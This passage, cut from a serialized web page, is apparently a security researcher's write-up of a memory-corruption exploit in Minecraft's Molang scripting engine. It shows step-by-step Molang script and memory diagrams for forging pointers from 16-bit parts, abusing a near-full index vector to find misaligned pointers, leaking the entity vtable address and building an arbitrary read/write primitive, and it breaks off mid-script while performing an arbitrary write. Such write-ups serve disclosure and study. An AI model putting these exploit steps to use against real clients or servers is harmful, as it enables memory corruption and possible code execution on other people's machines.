variable.saved_upper_32;\n",[151975],{"type":23,"tag":135,"props":151976,"children":151977},{"__ignoreMap":7},[151978],{"type":28,"value":151973},{"type":23,"tag":24,"props":151980,"children":151981},{},[151982,151984,151989],{"type":28,"value":151983},"Now ",{"type":23,"tag":135,"props":151985,"children":151987},{"className":151986},[],[151988],{"type":28,"value":151328},{"type":28,"value":151990}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":128,"props":151992,"children":151994},{"code":151993},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[151995],{"type":23,"tag":135,"props":151996,"children":151997},{"__ignoreMap":7},[151998],{"type":28,"value":151993},{"type":23,"tag":24,"props":152000,"children":152001},{},[152002,152004,152009],{"type":28,"value":152003},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":135,"props":152005,"children":152007},{"className":152006},[],[152008],{"type":28,"value":151876},{"type":28,"value":152010}," on the heap?",{"type":23,"tag":24,"props":152012,"children":152013},{},[152014,152016,152021,152023,152029],{"type":28,"value":152015},"Additionally, adding 8 to ",{"type":23,"tag":135,"props":152017,"children":152019},{"className":152018},[],[152020],{"type":28,"value":151258},{"type":28,"value":152022}," in the example above wouldn’t work because ",{"type":23,"tag":135,"props":152024,"children":152026},{"className":152025},[],[152027],{"type":28,"value":152028},"0xddccbba0",{"type":28,"value":152030}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":16900,"props":152032,"children":152034},{"id":152033},"the-final-approach",[152035],{"type":28,"value":152036},"The Final Approach",{"type":23,"tag":24,"props":152038,"children":152039},{},[152040,152042,152047,152049,152055],{"type":28,"value":152041},"We realized that instead of having the second pointer at ",{"type":23,"tag":135,"props":152043,"children":152045},{"className":152044},[],[152046],{"type":28,"value":151876},{"type":28,"value":152048},", we could instead have it at ",{"type":23,"tag":135,"props":152050,"children":152052},{"className":152051},[],[152053],{"type":28,"value":152054},"MolangVariableMap + 2",{"type":28,"value":152056},", which would resolve both of our issues.",{"type":23,"tag":24,"props":152058,"children":152059},{},[152060,152062,152067,152068,152073],{"type":28,"value":152061},"Let’s revisit the previous example, but this time ",{"type":23,"tag":135,"props":152063,"children":152065},{"className":152064},[],[152066],{"type":28,"value":151272},{"type":28,"value":151857},{"type":23,"tag":135,"props":152069,"children":152071},{"className":152070},[],[152072],{"type":28,"value":152054},{"type":28,"value":2493},{"type":23,"tag":128,"props":152075,"children":152077},{"code":152076},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[152078],{"type":23,"tag":135,"props":152079,"children":152080},{"__ignoreMap":7},[152081],{"type":28,"value":152076},{"type":23,"tag":24,"props":152083,"children":152084},{},[152085,152087,152092],{"type":28,"value":152086},"With this setup, we can calculate any address relative to ",{"type":23,"tag":135,"props":152088,"children":152090},{"className":152089},[],[152091],{"type":28,"value":151328},{"type":28,"value":152093}," by first saving the upper 48 bits of the address:",{"type":23,"tag":128,"props":152095,"children":152097},{"code":152096},"variable.saved_upper_48 = variable.b;\n",[152098],{"type":23,"tag":135,"props":152099,"children":152100},{"__ignoreMap":7},[152101],{"type":28,"value":152096},{"type":23,"tag":24,"props":152103,"children":152104},{},[152105,152106,152112,152114,152120],{"type":28,"value":127734},{"type":23,"tag":135,"props":152107,"children":152109},{"className":152108},[],[152110],{"type":28,"value":152111},"variable.saved_upper_48",{"type":28,"value":152113}," holds the value ",{"type":23,"tag":135,"props":152115,"children":152117},{"className":152116},[],[152118],{"type":28,"value":152119},"0x1c80ddcc",{"type":28,"value":73},{"type":23,"tag":24,"props":152122,"children":152123},{},[152124],{"type":28,"value":152125},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":128,"props":152127,"children":152129},{"code":152128},"variable.b = 0;\n",[152130],{"type":23,"tag":135,"props":152131,"children":152132},{"__ignoreMap":7},[152133],{"type":28,"value":152128},{"type":23,"tag":24,"props":152135,"children":152136},{},[152137],{"type":28,"value":152138},"Resulting in the following state:",{"type":23,"tag":128,"props":152140,"children":152142},{"code":152141},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[152143],{"type":23,"tag":135,"props":152144,"children":152145},{"__ignoreMap":7},[152146],{"type":28,"value":152141},{"type":23,"tag":24,"props":152148,"children":152149},{},[152150,152152,152157,152159,152165,152167,152172],{"type":28,"value":152151},"Now, the value of ",{"type":23,"tag":135,"props":152153,"children":152155},{"className":152154},[],[152156],{"type":28,"value":151258},{"type":28,"value":152158}," only spans 16 bits (",{"type":23,"tag":135,"props":152160,"children":152162},{"className":152161},[],[152163],{"type":28,"value":152164},"0xbba0",{"type":28,"value":152166}," specifically), which is always a valid float since it’s far below ",{"type":23,"tag":135,"props":152168,"children":152170},{"className":152169},[],[152171],{"type":28,"value":151756},{"type":28,"value":73},{"type":23,"tag":24,"props":152174,"children":152175},{},[152176,152178,152183],{"type":28,"value":152177},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":135,"props":152179,"children":152181},{"className":152180},[],[152182],{"type":28,"value":151258},{"type":28,"value":2493},{"type":23,"tag":128,"props":152185,"children":152186},{"code":151940},[152187],{"type":23,"tag":135,"props":152188,"children":152189},{"__ignoreMap":7},[152190],{"type":28,"value":151940},{"type":23,"tag":24,"props":152192,"children":152193},{},[152194],{"type":28,"value":152195},"Which results in:",{"type":23,"tag":128,"props":152197,"children":152199},{"code":152198},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[152200],{"type":23,"tag":135,"props":152201,"children":152202},{"__ignoreMap":7},[152203],{"type":28,"value":152198},{"type":23,"tag":24,"props":152205,"children":152206},{},[152207],{"type":28,"value":152208},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":128,"props":152210,"children":152212},{"code":152211},"variable.b = variable.saved_upper_48;\n",[152213],{"type":23,"tag":135,"props":152214,"children":152215},{"__ignoreMap":7},[152216],{"type":28,"value":152211},{"type":23,"tag":24,"props":152218,"children":152219},{},[152220],{"type":28,"value":152221},"Yielding a valid pointer again:",{"type":23,"tag":128,"props":152223,"children":152225},{"code":152224},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[152226],{"type":23,"tag":135,"props":152227,"children":152228},{"__ignoreMap":7},[152229],{"type":28,"value":152224},{"type":23,"tag":24,"props":152231,"children":152232},{},[152233],{"type":28,"value":152234},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":128,"props":152236,"children":152238},{"code":152237},"variable.saved_adjusted_lower_16 = variable.a;\n",[152239],{"type":23,"tag":135,"props":152240,"children":152241},{"__ignoreMap":7},[152242],{"type":28,"value":152237},{"type":23,"tag":24,"props":152244,"children":152245},{},[152246],{"type":28,"value":152247},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":128,"props":152249,"children":152251},{"code":152250},"variable.a = variable.saved_upper_48;\n",[152252],{"type":23,"tag":135,"props":152253,"children":152254},{"__ignoreMap":7},[152255],{"type":28,"value":152250},{"type":23,"tag":24,"props":152257,"children":152258},{},[152259],{"type":28,"value":152260},"This produces the following state:",{"type":23,"tag":128,"props":152262,"children":152264},{"code":152263},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[152265],{"type":23,"tag":135,"props":152266,"children":152267},{"__ignoreMap":7},[152268],{"type":28,"value":152263},{"type":23,"tag":24,"props":152270,"children":152271},{},[152272,152274,152279,152281,152287,152289,152295,152297,152302,152304,152309],{"type":28,"value":152273},"As shown, ",{"type":23,"tag":135,"props":152275,"children":152277},{"className":152276},[],[152278],{"type":28,"value":151272},{"type":28,"value":152280}," now contains the upper 16 bits of the address (",{"type":23,"tag":135,"props":152282,"children":152284},{"className":152283},[],[152285],{"type":28,"value":152286},"0x1c80",{"type":28,"value":152288},"), which we can store as ",{"type":23,"tag":135,"props":152290,"children":152292},{"className":152291},[],[152293],{"type":28,"value":152294},"variable.saved_upper_16 = variable.b",{"type":28,"value":152296},". Meanwhile, ",{"type":23,"tag":135,"props":152298,"children":152300},{"className":152299},[],[152301],{"type":28,"value":151258},{"type":28,"value":152303}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":135,"props":152305,"children":152307},{"className":152306},[],[152308],{"type":28,"value":151272},{"type":28,"value":2493},{"type":23,"tag":128,"props":152311,"children":152312},{"code":152128},[152313],{"type":23,"tag":135,"props":152314,"children":152315},{"__ignoreMap":7},[152316],{"type":28,"value":152128},{"type":23,"tag":24,"props":152318,"children":152319},{},[152320],{"type":28,"value":152321},"Leaving us with:",{"type":23,"tag":128,"props":152323,"children":152325},{"code":152324},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[152326],{"type":23,"tag":135,"props":152327,"children":152328},{"__ignoreMap":7},[152329],{"type":28,"value":152324},{"type":23,"tag":24,"props":152331,"children":152332},{},[152333],{"type":28,"value":152334},"We can now save the middle 16 bits:",{"type":23,"tag":128,"props":152336,"children":152338},{"code":152337},"variable.saved_middle_16 = variable.a;\n",[152339],{"type":23,"tag":135,"props":152340,"children":152341},{"__ignoreMap":7},[152342],{"type":28,"value":152337},{"type":23,"tag":24,"props":152344,"children":152345},{},[152346],{"type":28,"value":152347},"At this point, we have:",{"type":23,"tag":128,"props":152349,"children":152351},{"code":152350},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[152352],{"type":23,"tag":135,"props":152353,"children":152354},{"__ignoreMap":7},[152355],{"type":28,"value":152350},{"type":23,"tag":24,"props":152357,"children":152358},{},[152359],{"type":28,"value":152360},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":24,"props":152362,"children":152363},{},[152364],{"type":28,"value":152365},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":128,"props":152367,"children":152369},{"code":152368},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[152370],{"type":23,"tag":135,"props":152371,"children":152372},{"__ignoreMap":7},[152373],{"type":28,"value":152368},{"type":23,"tag":24,"props":152375,"children":152376},{},[152377],{"type":28,"value":152378},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":128,"props":152380,"children":152382},{"code":152381},"variable.a = variable.saved_adjusted_middle_16;\n",[152383],{"type":23,"tag":135,"props":152384,"children":152385},{"__ignoreMap":7},[152386],{"type":28,"value":152381},{"type":23,"tag":24,"props":152388,"children":152389},{},[152390,152392,152397,152398,152404,152405,152411],{"type":28,"value":152391},"Setting ",{"type":23,"tag":135,"props":152393,"children":152395},{"className":152394},[],[152396],{"type":28,"value":151258},{"type":28,"value":54675},{"type":23,"tag":135,"props":152399,"children":152401},{"className":152400},[],[152402],{"type":28,"value":152403},"0xddcd",{"type":28,"value":1042},{"type":23,"tag":135,"props":152406,"children":152408},{"className":152407},[],[152409],{"type":28,"value":152410},"0xddcc + 1",{"type":28,"value":152412},"), and then:",{"type":23,"tag":128,"props":152414,"children":152416},{"code":152415},"variable.b = variable.saved_adjusted_upper_16;\n",[152417],{"type":23,"tag":135,"props":152418,"children":152419},{"__ignoreMap":7},[152420],{"type":28,"value":152415},{"type":23,"tag":24,"props":152422,"children":152423},{},[152424,152426,152431,152433,152439,152440,152446],{"type":28,"value":152425},"Resulting in ",{"type":23,"tag":135,"props":152427,"children":152429},{"className":152428},[],[152430],{"type":28,"value":151272},{"type":28,"value":152432}," value becoming ",{"type":23,"tag":135,"props":152434,"children":152436},{"className":152435},[],[152437],{"type":28,"value":152438},"0x1c81",{"type":28,"value":1042},{"type":23,"tag":135,"props":152441,"children":152443},{"className":152442},[],[152444],{"type":28,"value":152445},"0x1c80 + 1",{"type":28,"value":21966},{"type":23,"tag":128,"props":152448,"children":152450},{"code":152449},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[152451],{"type":23,"tag":135,"props":152452,"children":152453},{"__ignoreMap":7},[152454],{"type":28,"value":152449},{"type":23,"tag":24,"props":152456,"children":152457},{},[152458],{"type":28,"value":152459},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":128,"props":152461,"children":152463},{"code":152462},"variable.saved_adjusted_upper_48 = variable.a;\n",[152464],{"type":23,"tag":135,"props":152465,"children":152466},{"__ignoreMap":7},[152467],{"type":28,"value":152462},{"type":23,"tag":24,"props":152469,"children":152470},{},[152471],{"type":28,"value":152472},"Finally, we attach the lower 16 bits:",{"type":23,"tag":128,"props":152474,"children":152476},{"code":152475},"variable.a = variable.saved_adjusted_lower_16;\n",[152477],{"type":23,"tag":135,"props":152478,"children":152479},{"__ignoreMap":7},[152480],{"type":28,"value":152475},{"type":23,"tag":128,"props":152482,"children":152484},{"code":152483},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[152485],{"type":23,"tag":135,"props":152486,"children":152487},{"__ignoreMap":7},[152488],{"type":28,"value":152483},{"type":23,"tag":24,"props":152490,"children":152491},{},[152492],{"type":28,"value":152493},"And by setting:",{"type":23,"tag":128,"props":152495,"children":152497},{"code":152496},"variable.b = variable.saved_adjusted_upper_48;\n",[152498],{"type":23,"tag":135,"props":152499,"children":152500},{"__ignoreMap":7},[152501],{"type":28,"value":152496},{"type":23,"tag":24,"props":152503,"children":152504},{},[152505],{"type":28,"value":152506},"We forge the final adjusted pointer:",{"type":23,"tag":128,"props":152508,"children":152510},{"code":152509},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[152511],{"type":23,"tag":135,"props":152512,"children":152513},{"__ignoreMap":7},[152514],{"type":28,"value":152509},{"type":23,"tag":16800,"props":152516,"children":152517},{},[],{"type":23,"tag":24,"props":152519,"children":152520},{},[152521,152523,152528],{"type":28,"value":152522},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":135,"props":152524,"children":152526},{"className":152525},[],[152527],{"type":28,"value":152054},{"type":28,"value":152010},{"type":23,"tag":24,"props":152530,"children":152531},{},[152532,152534,152539,152541,152546,152548,152554,152556,152561],{"type":28,"value":152533},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":135,"props":152535,"children":152537},{"className":152536},[],[152538],{"type":28,"value":152054},{"type":28,"value":152540},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":135,"props":152542,"children":152544},{"className":152543},[],[152545],{"type":28,"value":297},{"type":28,"value":152547}," and the other to ",{"type":23,"tag":135,"props":152549,"children":152551},{"className":152550},[],[152552],{"type":28,"value":152553},"addr + 2",{"type":28,"value":152555}," (as long as ",{"type":23,"tag":135,"props":152557,"children":152559},{"className":152558},[],[152560],{"type":28,"value":297},{"type":28,"value":152562}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":24,"props":152564,"children":152565},{},[152566,152568,152573,152574,152579],{"type":28,"value":152567},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":135,"props":152569,"children":152571},{"className":152570},[],[152572],{"type":28,"value":148028},{"type":28,"value":151813},{"type":23,"tag":135,"props":152575,"children":152577},{"className":152576},[],[152578],{"type":28,"value":150832},{"type":28,"value":152580}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":128,"props":152582,"children":152584},{"code":152583},"variable.corrupted_var_map_ptr = variable.a;\n",[152585],{"type":23,"tag":135,"props":152586,"children":152587},{"__ignoreMap":7},[152588],{"type":28,"value":152583},{"type":23,"tag":24,"props":152590,"children":152591},{},[152592,152594,152599,152601,152607],{"type":28,"value":152593},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":23,"tag":135,"props":152595,"children":152597},{"className":152596},[],[152598],{"type":28,"value":37042},{"type":28,"value":152600}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":135,"props":152602,"children":152604},{"className":152603},[],[152605],{"type":28,"value":152606},"variable.corrupted_var_map_ptr",{"type":28,"value":152608},", even though the type itself is only a 32-bit float.",{"type":23,"tag":16900,"props":152610,"children":152612},{"id":152611},"finding-misaligned-pointers",[152613],{"type":28,"value":152614},"Finding Misaligned Pointers",{"type":23,"tag":24,"props":152616,"children":152617},{},[152618,152620,152625,152626,152632],{"type":28,"value":152619},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":135,"props":152621,"children":152623},{"className":152622},[],[152624],{"type":28,"value":11960},{"type":28,"value":9002},{"type":23,"tag":135,"props":152627,"children":152629},{"className":152628},[],[152630],{"type":28,"value":152631},"ptr + 2",{"type":28,"value":152633},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":24,"props":152635,"children":152636},{},[152637,152642,152643,152648,152650,152655,152657,152662,152664,152669,152671,152676,152678,152684,152685,152690],{"type":23,"tag":135,"props":152638,"children":152640},{"className":152639},[],[152641],{"type":28,"value":151008},{"type":28,"value":13456},{"type":23,"tag":135,"props":152644,"children":152646},{"className":152645},[],[152647],{"type":28,"value":151031},{"type":28,"value":152649}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":135,"props":152651,"children":152653},{"className":152652},[],[152654],{"type":28,"value":150862},{"type":28,"value":152656}," contains three pointers: ",{"type":23,"tag":135,"props":152658,"children":152660},{"className":152659},[],[152661],{"type":28,"value":148028},{"type":28,"value":152663}," (the start of the allocated buffer), ",{"type":23,"tag":135,"props":152665,"children":152667},{"className":152666},[],[152668],{"type":28,"value":7146},{"type":28,"value":152670}," (just past the last element) and ",{"type":23,"tag":135,"props":152672,"children":152674},{"className":152673},[],[152675],{"type":28,"value":150961},{"type":28,"value":152677}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":135,"props":152679,"children":152681},{"className":152680},[],[152682],{"type":28,"value":152683},"uint16_t",{"type":28,"value":100201},{"type":23,"tag":135,"props":152686,"children":152688},{"className":152687},[],[152689],{"type":28,"value":7146},{"type":28,"value":152691}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":24,"props":152693,"children":152694},{},[152695,152697,152702,152704,152710],{"type":28,"value":152696},"We can make the ",{"type":23,"tag":135,"props":152698,"children":152700},{"className":152699},[],[152701],{"type":28,"value":7146},{"type":28,"value":152703}," pointer equal to ",{"type":23,"tag":135,"props":152705,"children":152707},{"className":152706},[],[152708],{"type":28,"value":152709},"cap - 2",{"type":28,"value":152711}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":128,"props":152713,"children":152715},{"code":152714},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[152716],{"type":23,"tag":135,"props":152717,"children":152718},{"__ignoreMap":7},[152719],{"type":28,"value":152714},{"type":23,"tag":16800,"props":152721,"children":152722},{},[],{"type":23,"tag":24,"props":152724,"children":152725},{},[152726,152728,152733,152735,152740,152742,152747,152749,152754,152755,152760],{"type":28,"value":152727},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":135,"props":152729,"children":152731},{"className":152730},[],[152732],{"type":28,"value":148028},{"type":28,"value":152734}," pointer of ",{"type":23,"tag":135,"props":152736,"children":152738},{"className":152737},[],[152739],{"type":28,"value":150832},{"type":28,"value":152741}," in the entity object above, one that would index ",{"type":23,"tag":135,"props":152743,"children":152745},{"className":152744},[],[152746],{"type":28,"value":7146},{"type":28,"value":152748}," and the final ",{"type":23,"tag":135,"props":152750,"children":152752},{"className":152751},[],[152753],{"type":28,"value":150961},{"type":28,"value":152734},{"type":23,"tag":135,"props":152756,"children":152758},{"className":152757},[],[152759],{"type":28,"value":151008},{"type":28,"value":152761}," also in the same entity object above.",{"type":23,"tag":24,"props":152763,"children":152764},{},[152765,152767,152773,152774,152780,152782,152787,152788,152793,152795,152800,152802,152807,152808,152813,152815,152820],{"type":28,"value":152766},"The corrupted variables ",{"type":23,"tag":135,"props":152768,"children":152770},{"className":152769},[],[152771],{"type":28,"value":152772},"variable.corrupted_len_ptr",{"type":28,"value":9002},{"type":23,"tag":135,"props":152775,"children":152777},{"className":152776},[],[152778],{"type":28,"value":152779},"variable.corrupted_cap_ptr",{"type":28,"value":152781}," point to ",{"type":23,"tag":135,"props":152783,"children":152785},{"className":152784},[],[152786],{"type":28,"value":7146},{"type":28,"value":9002},{"type":23,"tag":135,"props":152789,"children":152791},{"className":152790},[],[152792],{"type":28,"value":150961},{"type":28,"value":152794},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":135,"props":152796,"children":152798},{"className":152797},[],[152799],{"type":28,"value":152606},{"type":28,"value":152801},", points to the ",{"type":23,"tag":135,"props":152803,"children":152805},{"className":152804},[],[152806],{"type":28,"value":148028},{"type":28,"value":151813},{"type":23,"tag":135,"props":152809,"children":152811},{"className":152810},[],[152812],{"type":28,"value":150832},{"type":28,"value":152814},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":135,"props":152816,"children":152818},{"className":152817},[],[152819],{"type":28,"value":150832},{"type":28,"value":152821},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":24,"props":152823,"children":152824},{},[152825],{"type":28,"value":152826},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":16900,"props":152828,"children":152830},{"id":152829},"leaking-pointers",[152831],{"type":28,"value":152832},"Leaking Pointers",{"type":23,"tag":24,"props":152834,"children":152835},{},[152836,152838,152844],{"type":28,"value":152837},"In C++, an object’s first field is typically a ",{"type":23,"tag":135,"props":152839,"children":152841},{"className":152840},[],[152842],{"type":28,"value":152843},"vtable",{"type":28,"value":152845}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":128,"props":152847,"children":152849},{"code":152848},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[152850],{"type":23,"tag":135,"props":152851,"children":152852},{"__ignoreMap":7},[152853],{"type":28,"value":152848},{"type":23,"tag":24,"props":152855,"children":152856},{},[152857,152858,152863,152865,152870,152872,152877,152879,152884,152886,152891,152892,152897,152899,152904],{"type":28,"value":14625},{"type":23,"tag":135,"props":152859,"children":152861},{"className":152860},[],[152862],{"type":28,"value":37042},{"type":28,"value":152864}," field inside a ",{"type":23,"tag":135,"props":152866,"children":152868},{"className":152867},[],[152869],{"type":28,"value":150505},{"type":28,"value":152871}," is at offset ",{"type":23,"tag":135,"props":152873,"children":152875},{"className":152874},[],[152876],{"type":28,"value":150766},{"type":28,"value":152878},". We already control a corrupted variable, ",{"type":23,"tag":135,"props":152880,"children":152882},{"className":152881},[],[152883],{"type":28,"value":152772},{"type":28,"value":152885},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":135,"props":152887,"children":152889},{"className":152888},[],[152890],{"type":28,"value":7146},{"type":28,"value":151813},{"type":23,"tag":135,"props":152893,"children":152895},{"className":152894},[],[152896],{"type":28,"value":151008},{"type":28,"value":152898}," by 2 bytes, which in turn advances ",{"type":23,"tag":135,"props":152900,"children":152902},{"className":152901},[],[152903],{"type":28,"value":152772},{"type":28,"value":152905}," by 2 bytes.",{"type":23,"tag":24,"props":152907,"children":152908},{},[152909,152911,152916,152918,152924,152925,152930,152931,152936,152938,152943],{"type":28,"value":152910},"By moving ",{"type":23,"tag":135,"props":152912,"children":152914},{"className":152913},[],[152915],{"type":28,"value":7146},{"type":28,"value":152917}," so it equals ",{"type":23,"tag":135,"props":152919,"children":152921},{"className":152920},[],[152922],{"type":28,"value":152923},"cap - 0x38",{"type":28,"value":100201},{"type":23,"tag":135,"props":152926,"children":152928},{"className":152927},[],[152929],{"type":28,"value":37042},{"type":28,"value":151813},{"type":23,"tag":135,"props":152932,"children":152934},{"className":152933},[],[152935],{"type":28,"value":152772},{"type":28,"value":152937}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":135,"props":152939,"children":152941},{"className":152940},[],[152942],{"type":28,"value":152843},{"type":28,"value":152944}," pointer. We can then capture that pointer with:",{"type":23,"tag":128,"props":152946,"children":152948},{"code":152947},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[152949],{"type":23,"tag":135,"props":152950,"children":152951},{"__ignoreMap":7},[152952],{"type":28,"value":152947},{"type":23,"tag":24,"props":152954,"children":152955},{},[152956,152958,152963,152965,152970,152972,152977,152979,152985],{"type":28,"value":152957},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":135,"props":152959,"children":152961},{"className":152960},[],[152962],{"type":28,"value":7146},{"type":28,"value":152964}," until it equals ",{"type":23,"tag":135,"props":152966,"children":152968},{"className":152967},[],[152969],{"type":28,"value":152709},{"type":28,"value":152971},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":135,"props":152973,"children":152975},{"className":152974},[],[152976],{"type":28,"value":152843},{"type":28,"value":152978}," address in ",{"type":23,"tag":135,"props":152980,"children":152982},{"className":152981},[],[152983],{"type":28,"value":152984},"variable.saved_vtable_pointer",{"type":28,"value":73},{"type":23,"tag":16800,"props":152987,"children":152988},{},[],{"type":23,"tag":24,"props":152990,"children":152991},{},[152992,152994,152999,153001,153007],{"type":28,"value":152993},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":135,"props":152995,"children":152997},{"className":152996},[],[152998],{"type":28,"value":41395},{"type":28,"value":153000}," to the address ",{"type":23,"tag":135,"props":153002,"children":153004},{"className":153003},[],[153005],{"type":28,"value":153006},"vtable + 0x1000",{"type":28,"value":153008}," looks like this:",{"type":23,"tag":128,"props":153010,"children":153012},{"code":153011},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    